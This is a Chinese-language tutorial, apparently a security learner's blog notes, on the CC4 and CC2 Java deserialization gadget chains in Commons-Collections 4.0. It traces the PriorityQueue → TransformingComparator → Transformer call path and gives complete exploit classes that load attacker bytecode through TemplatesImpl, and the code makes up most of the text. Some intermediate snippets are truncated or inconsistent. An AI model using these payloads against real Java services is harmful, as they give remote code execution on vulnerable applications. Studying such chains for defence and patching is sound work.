Commons-Collections 篇 --CC4&CC2
CC4
CC4和CC3区别
PriorityQueue.readObject是jdk内部的
TransformingComparator.compare中 CC4有序列化接口/CC3无
环境
1
2
3
4
5
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>介绍
CC4 是针对 CC4 包的一条专用反序列化 RCE gadget 链
CC4 是针对 CC4 包且无需动态代理的一条简洁稳定链
1
2
3
4
5
反序列化 PriorityQueue → 触发 readObject()
PriorityQueue.readObject() 调用 heapify() → 比较元素
元素使用 TransformingComparator.compare()
compare() 调用 transformer.transform()
InvokerTransformer.transform() 通过反射执行任意方法(如 exec)CC4 利用 PriorityQueue 反序列化 heapify 触发 TransformingComparator → InvokerTransformer 的反射执行链,是 Commons Collections 4.x 最重要的漏洞链之一。
自动触发的原因
1
2
3
4
5
heapify()
→ siftDown()
→ comparator.compare()
→ InvokerTransformer.transform()
→ Runtime.exec()分析
逐步分析
依旧和cc1相似,只是中间的链发生变化,前面的部分执行切入点还是一致的
所以我们依旧来看transform
查看transform在collections4.0中的调用(从ChainedTransformer类起手,查看transform调用)

最后找到了这里
原因:TransformingComparator这个类
1
public class TransformingComparator<I, O> implements Comparator<I>, Serializable {可以序列化
而且调用的
compare比较常用
TransformingComparator的compare方法调用了transform
1
2
3
4
5public int compare(final I obj1, final I obj2) { final O value1 = this.transformer.transform(obj1); final O value2 = this.transformer.transform(obj2); return this.decorated.compare(value1, value2); }看谁调用了compare(找readObject的就可)

找到了jdk中的PriorityQueue类:
这个类是Java 中的 优先级队列查看的PriorityQueue的readObject

调到heapify():就是数据结构的二叉树、堆….
1
2
3
4private void heapify() { for (int i = (size >>> 1) - 1; i >= 0; i--) siftDown(i, (E) queue[i]); }进siftDown
1
2
3
4
5
6private void siftDown(int k, E x) { if (comparator != null) siftDownUsingComparator(k, x); else siftDownComparable(k, x); }进siftDownUsingComparator
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16private void siftDownUsingComparator(int k, E x) { int half = size >>> 1; while (k < half) { int child = (k << 1) + 1; Object c = queue[child]; int right = child + 1; if (right < size && comparator.compare((E) c, (E) queue[right]) > 0) c = queue[child = right]; if (comparator.compare(x, (E) c) <= 0) break; queue[k] = c; k = child; } queue[k] = x; }此处调用了compare——-到comparator.compare再调用transform
逐步构造
前面是一样的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34public class CC4Test { public static void main(String[] args) throws IOException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException { TemplatesImpl templates = new TemplatesImpl(); Class tc = templates.getClass(); Field nameField = tc.getDeclaredField("_name");//获取 私有 字段"_name" nameField.setAccessible(true);//获取私有 nameField.set(templates, "aaaa"); //在templates中设置 "_name"=="aaaa" Field bytecodesField = tc.getDeclaredField("_bytecodes");//获取 私有 字段"_bytecodes" bytecodesField.setAccessible(true);//获取私有 byte[] code = Files.readAllBytes(Paths.get("C://Users//95227//Desktop//实验室//其他//序列化//class//Test.class"));//创建字节码 byte[][] codes = {code};//设置二位数组和参数类型匹配 bytecodesField.set(templates, codes);//在templates中设置 "_bytecodes"==codes Field tfactoryField = tc.getDeclaredField("_tfactory");//获取 私有 字段"_tfactory" tfactoryField.setAccessible(true);//获取私有 tfactoryField.set(templates, new TransformerFactoryImpl()); //在templates中设置 "_tfactory"==new TransformerFactoryImpl() //构造instantiateTransformer InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); Transformer[] transformers = new Transformer[]{ // 第一步:返回 templates 对象 new ConstantTransformer(TrAXFilter.class), // 第二步:调用 templates.newTransformer() instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(1);还是在chainedTransformer测试
接下来就需要通过
TransformingComparator的一系列传入transform查看其构造函数
1
2
3
4
5public TransformingComparator(final Transformer<? super I, ? extends O> transformer, final Comparator<O> decorated) { this.decorated = decorated; this.transformer = transformer; }可以直接传入transformer
可以这么写
1
TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);new一个TransformingComparator
把优先队列
PriorityQueue类放到TransformingComparator中还是看一下PriorityQueue构造函数
1
2
3public PriorityQueue(Comparator<? super E> comparator) { this(DEFAULT_INITIAL_CAPACITY, comparator); }将comparator传入
可以这么写
1
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);new一个PriorityQueue
测试一下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38public class CC4Test { public static void main(String[] args) throws IOException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException { TemplatesImpl templates = new TemplatesImpl(); Class tc = templates.getClass(); Field nameField = tc.getDeclaredField("_name");//获取 私有 字段"_name" nameField.setAccessible(true);//获取私有 nameField.set(templates, "aaaa"); //在templates中设置 "_name"=="aaaa" Field bytecodesField = tc.getDeclaredField("_bytecodes");//获取 私有 字段"_bytecodes" bytecodesField.setAccessible(true);//获取私有 byte[] code = Files.readAllBytes(Paths.get("C://Users//95227//Desktop//实验室//其他//序列化//class//Test.class"));//创建字节码 byte[][] codes = {code};//设置二位数组和参数类型匹配 bytecodesField.set(templates, codes);//在templates中设置 "_bytecodes"==codes //构造instantiateTransformer InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); Transformer[] transformers = new Transformer[]{ // 第一步:返回 templates 对象 new ConstantTransformer(TrAXFilter.class), // 第二步:调用 templates.newTransformer() instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer); PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator); //PriorityQueue serialize(priorityQueue); unserialize("ser.bin");发现啥都没有
由于最后序列化的就是PriorityQueue,readObject
所以再里面打个断点看看,是什么原因

断点放在这
主要的问题就是
1
2
3private void heapify() { for (int i = (size >>> 1) - 1; i >= 0; i--) siftDown(i, (E) queue[i]);for循环不满足,导致siftDown进不去
PriorityQueue size ≥ 2,至少两个元素(长度至少是2)
否则不会比较,不会走 compare()
我们现在的是空的
构造
1
2
3
4
5
6
7
8PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator); //PriorityQueue priorityQueue.add(1); priorityQueue.add(2); serialize(priorityQueue); unserialize("ser.bin");
但是报错了(原因在add)
1
2
3public boolean add(E e) { return offer(e); }看offer
1
2
3
4
5
6
7
8
9
10
11
12
13
14public boolean offer(E e) { if (e == null) throw new NullPointerException(); modCount++; int i = size; if (i >= queue.length) grow(i + 1); size = i + 1; if (i == 0) queue[0] = e; else siftUp(i, e); return true; }siftUp
1
2
3
4
5
6private void siftUp(int k, E x) { if (comparator != null) siftUpUsingComparator(k, x); else siftUpComparable(k, x); }siftUpUsingComparator
1
2
3
4
5
6
7
8
9
10
11private void siftUpUsingComparator(int k, E x) { while (k > 0) { int parent = (k - 1) >>> 1; Object e = queue[parent]; if (comparator.compare(x, (E) e) >= 0) break; queue[k] = e; k = parent; } queue[k] = x; }也调用了comparator.compare造成本地加载问题(也就是之前说的urldns的问题)
报错原因
1
2
3Field tfactoryField = tc.getDeclaredField("_tfactory");//获取 私有 字段"_tfactory" tfactoryField.setAccessible(true);//获取私有 tfactoryField.set(templates, new TransformerFactoryImpl()); //在templates中设置 "_tfactory"==new TransformerFactoryImpl()即可
但是这个相当于是手动触发了rce
实现自动的序列化触发
先改成没用的,后面再改回来(和前面说到cc6那篇类似)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1)); PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator); //PriorityQueue priorityQueue.add(1); priorityQueue.add(2); Class c =transformingComparator.getClass(); Field transformerField = c.getDeclaredField("transformer"); transformerField.setAccessible(true); transformerField.set(transformingComparator, chainedTransformer); serialize(priorityQueue); unserialize("ser.bin");
问题:
为什么cc3使用_tfactory,而cc4没用呢???(他俩都是走的InstantiateTransformer.transform,通过字节码加载的啊)
CC3 是“主动调用 newTransformer()”,需要 _tfactory 配置好才能正常加载字节码。
CC3通过TrAXFilter触发
CC4 是“被 TrAXFilter 强行调用 newTransformer()”,内部会自动初始化 _tfactory,所以可以不设置。
CC4 通过PriorityQueue触发 TrAXFilter 只用来“传个参”但不会真的执行里面的逻辑
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
public class CC4Test {
public static void main(String[] args) throws IOException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, TransformerConfigurationException {
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");//获取 私有 字段"_name"
nameField.setAccessible(true);//获取私有
nameField.set(templates, "aaaa"); //在templates中设置 "_name"=="aaaa"
Field bytecodesField = tc.getDeclaredField("_bytecodes");//获取 私有 字段"_bytecodes"
bytecodesField.setAccessible(true);//获取私有
byte[] code = Files.readAllBytes(Paths.get("C://Users//95227//Desktop//实验室//其他//序列化//class//Test.class"));//创建字节码
byte[][] codes = {code};//设置二位数组和参数类型匹配
bytecodesField.set(templates, codes);//在templates中设置 "_bytecodes"==codes
// Field tfactoryField = tc.getDeclaredField("_tfactory");//获取 私有 字段"_tfactory"
// tfactoryField.setAccessible(true);//获取私有
// tfactoryField.set(templates, new TransformerFactoryImpl()); //在templates中设置 "_tfactory"==new TransformerFactoryImpl()
// templates.newTransformer();
//构造instantiateTransformer
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = new Transformer[]{
// 第一步:返回 templates 对象
new ConstantTransformer(TrAXFilter.class),
// 第二步:调用 templates.newTransformer()
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
//PriorityQueue
priorityQueue.add(1);
priorityQueue.add(2);
Class c =transformingComparator.getClass();
Field transformerField = c.getDeclaredField("transformer");
transformerField.setAccessible(true);
transformerField.set(transformingComparator, chainedTransformer);
serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}流程总结
1
2
3
4
5
6
7
8
9
10
11
12
13
反序列化
↓
PriorityQueue.readObject()
↓
heapify() 触发 siftDown
↓
TransformingComparator.compare()
↓
InstantiateTransformer.transform
↓
反射调用任意方法
↓
命令执行
CC2
介绍
总体来说和cc4没啥区别
就是把
InstantiateTransformer.transform变成了InvokerTransformer.transform
直接构建吧
构建
因为就变了一个地方InvokerTransformer.transform
所以前面的可以贴过来
1
2
3
4
5
6
7
8
9
10
11
12TemplatesImpl templates = new TemplatesImpl(); Class tc = templates.getClass(); Field nameField = tc.getDeclaredField("_name");//获取 私有 字段"_name" nameField.setAccessible(true);//获取私有 nameField.set(templates, "aaaa"); //在templates中设置 "_name"=="aaaa" Field bytecodesField = tc.getDeclaredField("_bytecodes");//获取 私有 字段"_bytecodes" bytecodesField.setAccessible(true);//获取私有 byte[] code = Files.readAllBytes(Paths.get("C://Users//95227//Desktop//实验室//其他//序列化//class//Test.class"));//创建字节码 byte[][] codes = {code};//设置二位数组和参数类型匹配 bynew一个InvokerTransformer.transform’
1
InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});后面我们可以省略去数组(除了数组都贴)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1)); PriorityQueue priorityQueue = new PriorityQueue<>(new ConstantTransformer<>(1)); //PriorityQueue priorityQueue.add(1); priorityQueue.add(2); Class c =transformingComparator.getClass(); Field transformerField = c.getDeclaredField("transformer"); transformerField.setAccessible(true); transformerField.set(transformingComparator, chainedTransformer); serialize(priorityQueue); unserialize("ser.bin");因为没写数组
chainedTransformer没有了
TrAXFilter.class获取不到
所以我们这么改一下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16TransformingComparator transformingComparator = new TransformingComparator<>(invokerTransformer); PriorityQueue priorityQueue = new PriorityQueue<>(new ConstantTransformer<>(1)); //PriorityQueue priorityQueue.add(templates);//改了这 priorityQueue.add(2); Class c =transformingComparator.getClass(); Field transformerField = c.getDeclaredField("transformer"); transformerField.setAccessible(true); transformerField.set(transformingComparator, invokerTransformer);//改了这 serialize(priorityQueue); unserialize("ser.bin");而且priorityQueue.add(templates);这个地方只要一个就行
priorityQueue.add(2);可以不写
所以就变成了这样
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15TransformingComparator transformingComparator = new TransformingComparator<>(invokerTransformer); PriorityQueue priorityQueue = new PriorityQueue<>(new ConstantTransformer<>(1)); //PriorityQueue priorityQueue.add(templates); //改了这 Class c =transformingComparator.getClass(); Field transformerField = c.getDeclaredField("transformer"); transformerField.setAccessible(true); transformerField.set(transformingComparator, invokerTransformer); //改了这 serialize(priorityQueue); unserialize("ser.bin");
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
public class CC2Test {
public static void main(String[] args) throws IOException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, TransformerConfigurationException {
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");//获取 私有 字段"_name"
nameField.setAccessible(true);//获取私有
nameField.set(templates, "aaaa"); //在templates中设置 "_name"=="aaaa"
Field bytecodesField = tc.getDeclaredField("_bytecodes");//获取 私有 字段"_bytecodes"
bytecodesField.setAccessible(true);//获取私有
byte[] code = Files.readAllBytes(Paths.get("C://Users//95227//Desktop//实验室//其他//序列化//class//Test.class"));//创建字节码
byte[][] codes = {code};//设置二位数组和参数类型匹配
bytecodesField.set(templates, codes);//在templates中设置 "_bytecodes"==codes
InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
//PriorityQueue
priorityQueue.add(templates);
priorityQueue.add(2);
Class c =transformingComparator.getClass();
Field transformerField = c.getDeclaredField("transformer");
transformerField.setAccessible(true);
transformerField.set(transformingComparator, invokerTransformer);
serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}流程总结
1
2
3
4
5
6
7
8
9
10
11
12
13
反序列化
↓
PriorityQueue.readObject()
↓
heapify() 触发 siftDown
↓
TransformingComparator.compare()
↓
InvokerTransformer.transform
↓
反射调用任意方法
↓
命令执行
注意:
CC2没用到Transformer数组
因为:CC2 不需要一连串的反射操作, 只需要一个简单的 transform → 直接执行命令LazyMap.put() 会触发 factory.transform(),这个 transform 只执行一次
所以:能自动依次调用多个方法,就用 Transformer数组; 只会调用一次 transform,就不需要数组